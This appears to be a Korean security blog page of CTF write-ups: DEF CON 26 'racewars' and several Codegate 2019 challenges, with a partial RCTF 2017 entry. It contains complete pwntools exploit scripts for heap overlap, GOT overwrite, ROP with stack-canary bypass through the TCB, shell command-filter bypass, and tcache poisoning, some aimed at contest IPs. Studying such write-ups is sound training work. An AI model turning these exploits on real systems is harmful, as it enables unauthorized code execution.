[defcon26] racewars

Write up/CTF 2019. 3. 25. 01:01
반응형

racewars



처음 푸는 defcon문제라 한껏 쫄아서 오디팅 열심히 해보고 익스까지 좀 시간이 걸렸던 문제다.

이 문제에서는 눈에 띄는 버그가 존재하지 않고 교묘하게 숨겨놓은 버그들의 체이닝으로 풀 수 있다.

첫 번째로 다음과 같은 코드가 존재한다.



사용자의 입력값으로부터 ooo_malloc을 수행해주는 것을 볼 수 있다.

해당 코드에선 취약점이 발생하지 않을 것처럼 보이지만 ooo_malloc내부에서 호출하는 custom_heap_malloc함수를 보면서 생각이 달라졌다.

만약 size가 0이 될 경우, 이후에 할당했을 때 주소를 가지게 되면서 이후 할당된 주소에 overlap된 만큼 r/w가 가능하게 된다.

즉, 0x20 * size를 했을 때 0이 되는 값을 찾으면 된다. 이 바이너리에서는 shl를 사용해 연산했으므로 아래와 같은 식이 구성된다.

(DWORD)(size << 5) == 0, 그러므로 대충 값을 2 << 30만해도 된다.


두번째로 다음과 같은 코드가 존재한다.

overlap된 메모리에서 변조가 일어나 byte0 구조체 변수를 음수로 변경할 수 있다면 아래의 a1->byte9[v2]에 의해 arbitrary r/w가 가능해진다. 그러므로 tires를 먼저 할당시켜준 후, transmission을 할당하면서 overlapping을 해준다면 음수로 변경이 가능해질 것이다.


이후에 arbitrary r/w가 주어졌으니 offset 계산을 위해 할당된 주소를 대충 구하고, puts와 같은 libc주소를 얻어온 후 이래저래 익스를 짜보면 아래와 같다.



from pwn import *

con = process("./racewars")

sl = con.sendlineafter

def tries(tr):
	sl("CHOICE: ", "1")
	sl("how many pairs of tires do you need?", str(tr))

def chassis():
	sl("CHOICE: ", "2")
	sl("eclipse\n", "1")

def engine():
	sl("CHOICE: ", "3")

def transmission(tr):
	sl("CHOICE: ", "4")
	sl("transmission? ", str(tr))

tries(536870912)
transmission(1)
chassis()
engine()

for i in xrange(1, 5):
	sl("CHOICE: ", "1")
	sl("CHOICE: ", str(i))
	sl(": ", str(0xffff))

# b *0x40155C
engine = ""
for i in range(8):
	sl("CHOICE: ", "4")
	sl("modify? ", str(-16 + i))
	con.recvuntil(" is ")
	engine += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

engine = u64(engine)
# 0x21a9318 - 0x21a92e8
transmission = engine - 0x30 + 0x09

print "engine: {:016x}".format(engine)

binary = ELF("./racewars")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_got = binary.got["puts"]
diff = transmission - puts_got - 1

puts = ""
for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	con.recvuntil(" is ")
	puts += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

puts = u64(puts)
exit_got = binary.got["exit"]
oneshot = puts - libc.symbols["puts"] + 0xf1147

print "puts: {:016x}".format(puts)
print "oneshot: {:016x}".format(oneshot)

diff = transmission - exit_got - 1

for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	sl("what?: ", str(ord(p64(oneshot)[i])))
	sl("set gear to ", "1")

sl("CHOICE: ", "5")
sl("CHOICE: ", "1")
sl("need?\n", "1")

con.interactive()


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

Codegate 2019 Writeup

1. MIC Check

  • base85 decode

2. 20000

  • 20000개의 library들이 존재하는데, 이 중에서 취약점을 찾아야한다.

    먼저, 주어진 library들을 실행시키는 20000 바이너리를 분석해보면 아래와 같다.

    signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
     char *v3; // rax
     signed __int64 result; // rax
     void *v5; // rdi
     char *v6; // rax
     int v7; // [rsp+Ch] [rbp-94h]
     void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
     void *handle; // [rsp+18h] [rbp-88h]
     char s; // [rsp+20h] [rbp-80h]
     int v11; // [rsp+80h] [rbp-20h]
     int v12; // [rsp+84h] [rbp-1Ch]
     unsigned __int64 v13; // [rsp+88h] [rbp-18h]

     v13 = __readfsqword(0x28u);
     sub_400A06(a1, a2, a3);
     setvbuf(stdin, 0LL, 2, 0LL);
     setvbuf(stdout, 0LL, 2, 0LL);
     setvbuf(stderr, 0LL, 2, 0LL);
     memset(&s, 0, 0x60uLL);
     v11 = 0;
     printf("INPUT : ", 0LL, &v12);
     __isoc99_scanf("%d", &v7);
     if ( v7 <= 0 && v7 > 20000 )
    {
       printf("Invalid Input");
       exit(-1);
    }
     sprintf(&s, "./20000_so/lib_%d.so", (unsigned int)v7);
     handle = dlopen(&s, 1);
     if ( handle )
    {
       v5 = handle;
       v8 = (void (__fastcall *)(void *, const char *))dlsym(handle, "test");
       if ( v8 )
      {
         v8(v5, "test");
         dlclose(handle);
         result = 0LL;
      }
       else
      {
         v6 = dlerror();
         fprintf(stderr, "Error: %s\n", v6);
         dlclose(handle);
         result = 1LL;
      }
    }
     else
    {
       v3 = dlerror();
       fprintf(stderr, "Error: %s\n", v3);
       result = 1LL;
    }
     return result;
    }

  • 해당 libc_%d.so를 가져와 test함수를 실행시키는 방식이므로 아래와 같은 간단한 python 코드를 작성해 Bof와 같은 취약점이 존재하는지 확인해봤다.

    from pwn import *

    for i in range(1, 20001):
       con = process("./20000")
       con.sendlineafter("INPUT : ", str(i))
       con.sendlineafter("file?", "A" * 0x1000)
       con.interactive()
    [+] Starting local process './20000': pid 21041
    [*] Switching to interactive mode

    [*] Process './20000' stopped with exit code 0 (pid 21041)
    [*] Got EOF while reading in interactive
    $
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21045
    [*] Switching to interactive mode

    [*] Process './20000' stopped with exit code 0 (pid 21045)
    [*] Got EOF while reading in interactive
    $
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21049
    [*] Switching to interactive mode

    [*] Got EOF while reading in interactive
    $
    [*] Process './20000' stopped with exit code 0 (pid 21049)
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21053
    [*] Switching to interactive mode

    [*] Got EOF while reading in interactive
    $
    [*] Process './20000' stopped with exit code 0 (pid 21053)
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21057
    [*] Switching to interactive mode

    ls: cannot access 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@': No such file or directory
    [*] Process './20000' stopped with exit code 0 (pid 21057)
    [*] Got EOF while reading in interactive
    $
  • 위를 보다시피 lib_5.so파일에서 system 함수를 실행하는 것으로 추정되므로 해당 파일을 디컴파일해서 확인해보면 아래와 같이 lib_5091.so, lib_17470.so에서 filter함수를 얻어온 후, filtering을 거쳐 system함수를 실행한다.

    signed __int64 test()
    {
     char *v0; // rax
     signed __int64 result; // rax
     char *v2; // rax
     void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
     void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
     void *handle; // [rsp+10h] [rbp-A0h]
     void *v6; // [rsp+18h] [rbp-98h]
     char buf; // [rsp+20h] [rbp-90h]
     __int16 v8; // [rsp+50h] [rbp-60h]
     char s; // [rsp+60h] [rbp-50h]
     __int16 v10; // [rsp+90h] [rbp-20h]
     unsigned __int64 v11; // [rsp+98h] [rbp-18h]

     v11 = __readfsqword(0x28u);
     memset(&buf, 0, 0x30uLL);
     v8 = 0;
     memset(&s, 0, 0x30uLL);
     v10 = 0;
     handle = dlopen("./20000_so/lib_5091.so", 1);
     if ( handle )
    {
       v3 = (void (__fastcall *)(char *, char *))dlsym(handle, "filter1");
       v6 = dlopen("./20000_so/lib_17470.so", 1);
       if ( v6 )
      {
         v4 = (void (__fastcall *)(char *))dlsym(v6, "filter2");
         puts("This is lib_5 file.");
         puts("How do you find vulnerable file?");
         read(0, &buf, 0x32uLL);
         v3(&buf, &buf);
         v4(&buf);
         sprintf(&s, "ls \"%s\"", &buf);
         system(&s);
         dlclose(handle);
         dlclose(v6);
         result = 0LL;
      }
       else
      {
         v2 = dlerror();
         fprintf(stderr, "Error: %s\n", v2);
         result = 0xFFFFFFFFLL;
      }
    }
     else
    {
       v0 = dlerror();
       fprintf(stderr, "Error: %s\n", v0);
       result = 0xFFFFFFFFLL;
    }
     return result;
    }
  • 해당 함수를 살펴보면 아래와 같은 필터링을 하게 되는데, 여기서 single character wildcard인 "?"를 검사하지 않아 원하는 명령을 강제로 수행하게 만들어 줄 수 있다.

    // lib_5091.so filter1
    char *__fastcall filter1(const char *a1)
    {
     char *result; // rax

     if ( strchr(a1, ';') )
       exit(0);
     if ( strchr(a1, '*') )
       exit(0);
     if ( strchr(a1, '|') )
       exit(0);
     if ( strchr(a1, '&') )
       exit(0);
     if ( strchr(a1, '$') )
       exit(0);
     if ( strchr(a1, '`') )
       exit(0);
     if ( strchr(a1, '>') )
       exit(0);
     if ( strchr(a1, '<') )
       exit(0);
     result = strchr(a1, 'r');
     if ( result )
       exit(0);
     return result;
    }

    // lib_17470.so filter2
    char *__fastcall filter2(const char *a1)
    {
     char *result; // rax

     if ( strchr(a1, 'v') )
       exit(0);
     if ( strchr(a1, 'm') )
       exit(0);
     if ( strchr(a1, 'p') )
       exit(0);
     if ( strchr(a1, 'd') )
       exit(0);
     if ( strchr(a1, 'n') )
       exit(0);
     if ( strstr(a1, "bin") )
       exit(0);
     if ( strstr(a1, "sh") )
       exit(0);
     if ( strstr(a1, "bash") )
       exit(0);
     if ( strchr(a1, 'f') )
       exit(0);
     if ( strchr(a1, 'l') )
       exit(0);
     result = strchr(a1, 'g');
     if ( result )
       exit(0);
     return result;
    }
  • 즉, /bi?/?at ???? (/bin/cat flag)과 같은 공격이 가능해지므로 아래의 공격코드를 구성해서 실행시키면 플래그를 획득할 수 있다.

    from pwn import *

    con = remote("110.10.147.106", 15959)

    con.sendlineafter("INPUT : ", "9")
    con.sendline("\"\n/bi?/?at ????")

    con.interactive()

3. aeiou

  • pthread, tcb, stack canary, buffer overflow

  • 문제 바이너리와 libc가 주어졌다. 바이너리는 아래와 같은 mitigation이 걸려있는 것을 볼 수 있다.

    이제 aeiou 바이너리를 디컴파일해서 분석을 하다보면 아래와 같은 bof가 발생하는 함수를 만나게 된다.

    int teach()
    {
     int result; // eax
     pthread_t newthread; // [rsp+0h] [rbp-10h]
     unsigned __int64 v2; // [rsp+8h] [rbp-8h]

     v2 = __readfsqword(0x28u);
     pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
     result = pthread_join(newthread, 0LL);
     if ( result )
    {
       puts("oooooh :(");
       result = 1;
    }
     return result;
    }

    void *__fastcall start_routine(void *a1)
    {
     unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
     char s[4104]; // [rsp+10h] [rbp-1010h]
     unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

     v4 = __readfsqword(0x28u);
     memset(s, 0, 0x1000uLL);
     puts("Hello!");
     puts("Let me know the number!");
     v2 = readstr();
     if ( v2 <= 0x10000 )
    {
       sub_401170(0, s, v2);
       puts("Thank You :)");
    }
     else
    {
       puts("Too much :(");
    }
     return 0LL;
    }
  • 이 때, stack canary가 존재해서 leak이 없는 이상 공격이 힘들 것 같지만 canary는 TCB의 특정 8byte를 사용하게 된다. TCB(Thread Control Block)은 thread가 생성될 때마다 thread stack과 같이 생성되며 thread stack 최하단에 존재한다. 그러므로 tcb가 덮힐정도의 overflow를 해주면 해당 thread에서 stack canary를 무력화되게 된다. 아래는 해당 개념을 사용한 공격코드이다.

    from pwn import *

    debug = True

    con = process("./aeiou", env={"LD_PRELOAD": "./libc.so"})

    binary = ELF("./aeiou")
    libc = ELF("./libc.so")

    con.sendlineafter(">>", "3")

    csu_init = 0x4026EA
    trigger = 0x4026D0

    payload = ""
    payload += "A" * 0x1018
    payload += p64(csu_init)
    payload += p64(0) #x
    payload += p64(1) #p
    payload += p64(binary.got["read"]) #12
    payload += p64(0x100) #13
    payload += p64(binary.bss() + 0x100) #14
    payload += p64(0) #15
    payload += p64(trigger)
    payload += p64(0x4141) # dummy

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.got["puts"])
    payload += p64(0) * 2
    payload += p64(binary.got["read"])
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.got["read"])
    payload += p64(0x100)
    payload += p64(binary.bss() + 0x110)
    payload += p64(0)
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.bss() + 0x110)
    payload += p64(0)
    payload += p64(0)
    payload += p64(binary.bss() + 0x100)
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0) * 6
    payload += p64(0x400E9A)

    payload = payload.ljust(0x2000, "A")

    con.sendlineafter("number!", str(0x2000))
    con.send(payload)

    con.send("/bin/sh\x00")
    con.recvuntil("Thank You :)\n")

    # 0x402340
    libcbase = u64(con.recv(8)[:-1].ljust(8, "\x00")) - libc.symbols["read"]
    system = libcbase + libc.symbols["system"]
    oneshot= libcbase + 0x4526a
    malloc_hook = libcbase + libc.symbols["__malloc_hook"]

    print "off: {:016x}".format(libc.symbols["read"])
    print "libc: {:016x}".format(libcbase)
    print "system: {:016x}".format(system)
    print "malloc_hook: {:016x}".format(malloc_hook)

    con.send(p64(oneshot))

    con.interactive()

4. archiver

  • C++ binary, Out-of-bound

  • 해당 바이너리를 분석하기 위해 vtable 구조체와 멤버변수 구조체를 선언을 한 다음, 함수들을 분석해보면 아래의 decompress함수가 보이게 된다.

    __int64 __fastcall Compress::decompress(Compress *compress)
    {
     unsigned __int8 v2; // [rsp+6Ch] [rbp-24h]
     unsigned __int8 v3; // [rsp+6Dh] [rbp-23h]
     char v4; // [rsp+6Eh] [rbp-22h]
     uint8_t v5; // [rsp+6Fh] [rbp-21h]
     unsigned __int64 v6; // [rsp+70h] [rbp-20h]
     __int64 magic; // [rsp+78h] [rbp-18h]
     Compress *v8; // [rsp+80h] [rbp-10h]
     char v9; // [rsp+8Fh] [rbp-1h]

     v8 = compress;
     magic = 0LL;
     v6 = 0LL;
     if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&magic, 8LL) & 1 )
    {
       if ( magic == 0x393130322394D3C0LL )
      {
         if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&v6, 8LL) & 1 )
        {
           if ( v6 & 7 )
          {
             v9 = 0;
          }
           else
          {
             while ( 2 )
            {
               if ( 8 * compress->field_1A0 >= v6 )
              {
                 v9 = 1;
              }
               else
              {
                 compress->filemanager->vtable->read(compress->filemanager, (char *)&v5, 1LL);
                 v4 = v5 >> 6;
                 switch ( (unsigned __int64)(v5 >> 6) )
                {
                   case 0uLL:
                     if ( compress->vtable->set8byte_by_file(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   case 1uLL:
                     v3 = v5 & 0x3F;
                     if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&v2, 1LL) & 1 )
                    {
                       if ( compress->vtable->set8byte(compress, v3, v2) & 1 )
                         continue;
                       v9 = 0;
                    }
                     else
                    {
                       v9 = 0;
                    }
                     break;
                   case 2uLL:
                     if ( compress->vtable->clear(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   case 3uLL:
                     v3 = v5 & 0x3F;
                     if ( compress->vtable->spray_8byte(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   default:
                     v9 = 0;
                     break;
                }
              }
               break;
            }
          }
        }
         else
        {
           v9 = 0;
        }
      }
       else
      {
         printf("bad magic %p\n", magic);
         v9 = 0;
      }
    }
     else
    {
       v9 = 0;
    }
     return v9 & 1;
    }
  • 위의 코드를 참조해 아래의 파일구조를 사용해야됌을 알 수 있다.

    File Structure
    Magic
    compressed_size
    compressed data
    ...
  • decompress를 진행할 때는 compressed data를 파싱해서 파일에서 1byte를 읽어 상위 2bit는 해당 함수들을 실행시키도록 구성되어있고, 필요에 따라서 1byte를 더 읽어 처리하기도 한다.

    각각 함수들을 분석해보면 아래와 같은 함수를 볼 수 있다.

    __int64 __fastcall Compress::set8byte(Compress *a1, unsigned __int8 a2, unsigned __int8 a3)
    {
     char v4; // [rsp+27h] [rbp-1h]

     if ( a1->field_1A0 >= (unsigned __int64)a3 )
    {
       a1->field_10[a2] = a1->field_190[a1->field_1A0 - a3];
       v4 = 1;
    }
     else
    {
       v4 = 0;
    }
     return v4 & 1;
    }
  • 위의 함수는 총 2byte를 사용하는 함수이며, a2는 해당 함수를 호출할 때 사용됐던 byte, a3는 추가적으로 읽은 byte를 사용하게 된다. 즉, field_10 배열의 max index(0~47)보다 큰 곳을 참조할 수 있게 되므로 field_190에 원하는 8byte 값을 저장해둔다음 아래의 Compress 구조체가 보여주는 것처럼 uncompress_msg 함수 포인터를 덮어씌워주면 된다.

    struct FileManager
    {
     vtable *vtable;
     std::istream *istream;
     __int64 offset;
    };

    struct Compress
    {
     vtable_compress *vtable;
     FileManager *filemanager;
     __int64 field_10[48]; // overflow possible
     uint64_t *field_190;
     __int64 field_198;
     __int64 field_1A0;
     __int64 uncompressed_size;
     void (__fastcall *uncompressed_msg)(__int64); // target
    };
  • 해당 바이너리에는 win이라는 system함수를 실행시켜주는 함수가 존재하므로 해당 함수 주소를 field_190에 저장해둔 뒤 overflow를 시켜주면 될 것이다.

    from pwn import *

    con = remote("110.10.147.111", 4141)

    size = 0x400 - 0x50

    ar = p64(0x393130322394D3C0) # magic
    ar += p64(size) # compress_size

    # save uncompressed_msg in heap
    for i in range(0x39):
    ar += p8(0b11000000 | 0b00110100) # spray 8byte (0x34)

    # uncompressed_size overwrite
    ar += p8(0b01000000 | 0b00110011)
    ar += p8(0x01)

    for i in range(0x21):
    ar += p8(0b01000000 | 0b00110011)
    ar += p8(0x01)

    #r = size - len(ar) - 3
    for i in range(0x39):
    ar += p8(0b11000000 | 0b00110011) # spray system("cat flag")

    # uncompressed_msg overwrite
    ar += p8(0b01000000 | 0b00110100)
    ar += p8(0x01)

    ar += p8(0x41)

    print len(ar)

    with open("payload", "wb") as f:
    f.write(ar)

    con.send(p32(len(ar)))
    con.send(ar)

    con.interactive()

5. PyProt3ct

  • python vm reversing

  • 문제에서 2개의 python 파일, byte code binary를 제공한다. 해당 파일들을 분석하기 위해 play.py를 먼저 살펴보면 난독화가 되어있는 것을 볼 수 있다.

    # ...
    def O0O0O0O00OO0O0O0O(OOO0OO0O000O0OOOO ,OOO0O0000OOOO0OO0):
       O0O0O0000OO0OOO0O=dict()
       OOOO0000OOO0OOO0O=1000
       OOOO0OO00OOOO000O=1001
       O00OOO0O00OOOOO0O=2001
       OO0OO00000000O00O=2002
       O0OO0OO0000O0O0OO=2003
       O0O000OOO0OOOO0OO=2004
       O000OOO00OOO0O00O=0
       OOO0OO0OO0OOO00O0=1
       O0OOOOOOOOO00OOOO=2
       OO0O0O0000000O00O=3
       OOO0OO00OOOO0O0OO=4
       O00OO0OO0O0O00OOO=5
       O0O0O0000OO0OOO0O[OOOO0000OOO0OOO0O]=0
       O0O0O0000OO0OOO0O[OOOO0OO00OOOO000O]=0
       O0O0O0000OO0OOO0O["flag"]=OOO0O0000OOOO0OO0
       OOO000O0O0OOO0OOO=0
       while OOO000O0O0OOO0OOO==0:
           O00OOO00000OO0OOO=O0O0O0000OO0OOO0O[OOOO0000OOO0OOO0O]
           OO0OO0OOOOO00OO00=OOO0OO0O000O0OOOO[O00OOO00000OO0OOO]
           O00OOO00000OO0OOO=O00OOO00000OO0OOO+OOO0OO0OO0OOO00O0
           OO000O0OOOOOOO0OO=OOO0OO0O000O0OOOO[O00OOO00000OO0OOO]
           O00OOO00000OO0OOO=O00OOO00000OO0OOO+OOO0OO0OO0OOO00O0
    # ...
  • 먼저 분석에 용이하도록 각각 함수들을 func%d 형태로 작성해주고 변수들또한 renaming을 해준 뒤, 각각 함수들이 하는 일들을 print를 통해 출력하고 파일로 뽑아냈다.

  • 해당 파일을 분석하기 위해서 열어보면 수많은 명령어들이 수행됐던 것을 볼 수 있는데, 의미 없는 대입 연산을 제거하여 패턴을 파악하기 쉽게 만들고, 코드의 중첩되는 부분을 함수형태로 생각하게 되면서 빠르게 분석이 가능해졌다. 코드들을 분석한 뒤, 암호화를 아래의 python코드로 구성했다

    from pwn import *

    def calc(value):
    # high dword stub
    a = value >> 32
    b = a ^ 0xffc2bdec
    c = b + 0xffc2bdec
    d = c & 0xffffffff
    high = d

    # low dword stub
    e = value & 0xffffffff
    f = e ^ 0xffc2bdec
    g = f + 0xffc2bdec
    h = g & 0xffffffff
    low = h

    v = ((low << 32) | high)
    byte = v & 0xff
    print hex(value), hex(v & 0xffffffffffffffff), hex((byte << 57) & 0xffffffffffffffff), hex((v >> 7) & 0xffffffffffffffff)
    return ((v >> 7) | (byte << 57)) & 0xffffffffffffffff

    def getHash(flag):
    assert len(flag) == 8

    value = u64(flag[::-1])
    for i in range(0x7f):
    value = calc(value)
    return value

    print hex(getHash("AAAAAAAA"))
  • 위의 암호화는 상위, 하위 4byte를 특정 연산 후 뒤집어 저장하는 형태를 가지며, v의 하위 1byte를 최상의 byte로 가져온다. 이 때 1bit는 하위에 계속 머물게 된다. 이 연산은 어느정도 최종값을 알고 있다면 역연산이 가능할 것으로 보여 분석을 해봤다.

  • 먼저 하위 1 bit의 처리를 해야하는데, 이는 msB가 홀수일 경우, 나머지 7byte에서 8byte쪽에 0x01을 or시켜주면 된다. 이렇게 처리하면 이전에 사용한 값을 구할 수 있게 된다.

    msb = r & 0xff00000000000000
    etc = r & 0x00ffffffffffffff

    a = ((msb >> 56) & 0xff)
    if a % 2 == 1:
       etc |= 0x0100000000000000

    byte = (msb >> 57) & 0x7f
    value = (etc << 7) | byte
  • 해당 값(value)을 상위, 하위 4byte로 low, high로 받아와준 뒤, calc함수에서 처음에 진행한 연산을 역연산해서 다시 조합해주면 그 이전 상태의 값이 나오게 된다.

    high, low = value & 0xffffffff, (value >> 32) & 0xffffffff

    high = (((high - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec) << 32
    low = ((low - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec
    return high | low
  • 그러므로 총 127번 위의 과정을 반복해주면 암호화 이전 값이 나오게 될 것이다. 아래는 최종 복호화 코드다.

    from pwn import *

    def calc(value):
    # high dword stub
    a = value >> 32
    b = a ^ 0xffc2bdec
    c = b + 0xffc2bdec
    d = c & 0xffffffff
    high = d

    # low dword stub
    e = value & 0xffffffff
    f = e ^ 0xffc2bdec
    g = f + 0xffc2bdec
    h = g & 0xffffffff
    low = h

    v = ((low << 32) | high)
    byte = v & 0xff
    print hex(value), hex(v & 0xffffffffffffffff), hex((byte << 57) & 0xffffffffffffffff), hex((v >> 7) & 0xffffffffffffffff)
    return ((v >> 7) | (byte << 57)) & 0xffffffffffffffff

    def getHash(flag):
    assert len(flag) == 8

    value = u64(flag[::-1])
    for i in range(0x7f):
    value = calc(value)
    return value

    def revcalc(r):
    msb = r & 0xff00000000000000
    etc = r & 0x00ffffffffffffff

    a = ((msb >> 56) & 0xff)
    if a % 2 == 1:
    etc |= 0x0100000000000000

    byte = (msb >> 57) & 0x7f
    value = (etc << 7) | byte
    high, low = value & 0xffffffff, (value >> 32) & 0xffffffff

    high = (((high - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec) << 32
    low = ((low - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec
    return high | low

    def getHashRev(value):
    for i in range(127):
    value = revcalc(value)
    return p64(value)[::-1]

    print getHashRev(0xd274a5ce60ef2dca)

    flag: d34dPY27

6. god-the-reum

  • glibc heap exploit(tcache)

  • 이 문제는 tcache가 적용된 libc-2.27.so가 사용되었다. 기존 heap exploit기법들에 추가적으로 공격가능한 게 추가되었는데, 이는 fast bin 크기 정도의 tcache bin이 사용되는 걸 악용해야한다. 주어진 바이너리를 분석해보자.

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
     int v3; // ST18_4
     int v4; // ST18_4
     int v6; // ST18_4
     char v7[88]; // [rsp+20h] [rbp-60h]
     unsigned __int64 v8; // [rsp+78h] [rbp-8h]
     __int64 savedregs; // [rsp+80h] [rbp+0h]

     v8 = __readfsqword(0x28u);
     setvbuf(stdout, 0LL, 2, 0LL);
     setvbuf(stdin, 0LL, 2, 0LL);
     while ( 1 )
    {
       printmenu();
       while ( getchar() != 10 )
        ;
       switch ( (unsigned int)&savedregs )
      {
         case 1u:
           create_wallet((wallet *)&v7[16 * wallet_count]);
           break;
         case 2u:
           v3 = sub_11DC();
           deposit((wallet *)&v7[16 * v3]);
           break;
         case 3u:
           v4 = sub_11DC();
           withdraw((wallet *)&v7[16 * v4]);
           break;
         case 4u:
           show((__int64)v7);
           break;
         case 5u:
           puts("bye da.");
           return 0LL;
         case 6u:
           v6 = sub_11DC();
           sub_1092((wallet *)&v7[16 * v6]);
           break;
         default:
           sub_11B3();
           break;
      }
    }
    }
  • 위와 같은 main이 주어지며 wallet을 생성하고 입금, 지불, 확인을 할 수 있고 추가적으로 관리자 기능이 존재한다. create_wallet을 통해 구조체를 얻을 수 있다.

    struct wallet
    {
     char *addr; // malloc(0x82)
     _QWORD *balance; // malloc(input_balance)
    };
  • 그리고 free가 되는 곳은 withdraw함수인데, 현재 가지고 있는 balance를 전부 소진(0이 돼야함)해야한다. 그리고 show함수에서는 wallet_count만큼 wallet을 출력해주므로 free(balance)가 된 wallet도 출력을 해주게 된다.

  • 하지만 이는 tcache bin에 들어갈 수 있는 크기(max fast bin size: 0x80)이면 main_arena와의 unlink를 진행하지 않는다. 그러므로 어느정도 큰값을 할당시켜 free시켜주면 main_arena의 주소가 leak된다.

  • 그리고 tcache bin의 특성상 실제로 free하지 않고 포인터를 가지고 있는데, heap chunk fd, bk에 해당하는 영역에 next chunk 주소가 들어가게 된다. 이는 다음 malloc(fastbin_size) 시, 참조하여 fd부분에 존재하는 next chunk를 그 다음 할당할 주소로 지정해준다. 이를 악용한 공격이 tcache_poisoning이다.

  • 아래는 해당 기법을 사용해 구성한 공격 코드이다.

    from pwn import *

    debug = False

    if debug:
    con = process("./godeth")
    else:
    #con = process("./godeth", env={"LD_PRELOAD":"./libc-2.27.so"})
    con = remote("110.10.147.103", 10001)

    def create(balance):
    con.sendlineafter("choice : ", "1")
    con.sendlineafter("how much initial eth? : ", str(balance))

    def deposit(idx, balance):
    con.sendlineafter("choice : ", "2")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("how much deposit? : ", str(balance))

    def withdraw(idx, balance):
    con.sendlineafter("choice : ", "3")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("how much you wanna withdraw? : ", str(balance))

    def show():
    con.sendlineafter("choice : ", "4")
    return con.recvuntil("\n\n")

    def dev(idx, balance):
    con.sendlineafter("choice : ", "6")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("new eth : ", balance)

    if debug:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    oneshot = 0x4f2c5
    else:
    libc = ELF("./libc-2.27.so")
    oneshot = 0x10a38c

    create(0x1000)
    create(0x80)

    withdraw(0, 0x1000)
    withdraw(1, 0x80)
    withdraw(1, 0x00)

    leak = show().split("\n")
    heap = int(leak[2].split(", ballance ")[1])
    main_arena = int(leak[1].split(", ballance ")[1]) - 96
    libc_base = main_arena - (libc.symbols["__malloc_hook"] + 0x10)
    free_hook = libc_base + libc.symbols["__free_hook"]
    oneshot = libc_base + oneshot
    print "heap: {:016x}".format(heap)
    print "main_arena: {:016x}".format(main_arena)
    print "libc: {:016x}".format(libc_base)
    print "free_hook: {:016x}".format(free_hook)
    print "oneshot: {:016x}".format(oneshot)

    dev(1, p64(free_hook))

    create(0x80)

    dev(2, p64(oneshot))

    withdraw(0, main_arena + 96)

    con.interactive()


github: https://github.com/Kur0N3k0/Writeup/blob/master/codegate/2019/writeup.md

'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,

[RCTF 2017] RCalc

Write up/CTF 2017. 5. 22. 01:32
반응형

바이너리


RCalc

libc.so.6



어.. 일단 64bit rop는 처음이였기에 많이 오래걸렸었고.. 대략적인 풀이 방법으로는 아래와 같다.


1. urandom으로 생성된 canary 우회

2. __libc_start_main leak

3. libc.so.6 에서 /bin/sh를 찾아보면 자동으로 execve를 호출해주는 것을 확인

4. __libc_start_main - __libc_start_main_offset + execve_offset 을 통해 최종 목적 주소를 구함

5. got overwrite를 통한 execve호출

6. 플래그 확인



자세하게 설명하도록 하겠다.


main 함수는 아래와 같이 간단하게 시드를 할당 및 초기화 해주는 함수를 호출 후


타임 아웃 시간을 설정하고 계산을 해주는 함수를 호출 한다.





init_seedz 함수를 살펴보도록 하자.



할당된 순서는 c_result, seed, c_result->seed_arr, seed->seed_arr 이므로 만약 우리가 c_result의 seed_arr을 overflow 해줄 수만 있다면


seed->seed_arr을 덮어씌울 수 있을 것이다.




main함수로 돌아와서 calc함수를 살펴보도록 하자.




먼저 randomize를 호출해주는데 이는 위와 같이 처음에 seed를 urandom에서 불러와 값을 저장해주는 것을 볼 수 있다.


